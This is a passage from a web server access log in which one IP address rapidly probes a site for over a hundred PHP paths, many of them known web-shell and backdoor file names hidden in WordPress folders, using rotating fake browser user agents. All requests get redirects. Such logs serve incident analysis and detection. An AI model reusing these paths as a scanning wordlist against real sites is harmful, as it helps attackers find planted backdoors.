HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /wp-includes/style-engine/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /wp-setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /wp-includes/infi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /images/index22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /wp-includes/pomo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /assets/script.js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /wp-admin/css/colors/sunrise/colors_95.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /cgi-bin/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /wp-includes/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /wp-includes/ID3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /.well-known/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /wp-admin/js/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:59 +0300] "GET /wp-includes/js/jquery/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /wp-includes/images/media/dog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /wp-includes/SimplePie/applicationd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /wp-includes/IXR/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /wp-content/plugins/seoo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /webadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /wp-admin/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:00 +0300] "GET /templates/beez3/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-admin/css/colors/blue/ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-includes/customize/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-content/plugins/ioxi/ioxiworm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /blog/wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-includes/css/dist/edit-widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-includes/css/dist/edit-widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-includes/Requests/src/Exception/Http/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-includes/Text/Diff/Renderer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-admin/css/colors/ocean/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:01 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /wp-admin/maint/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) 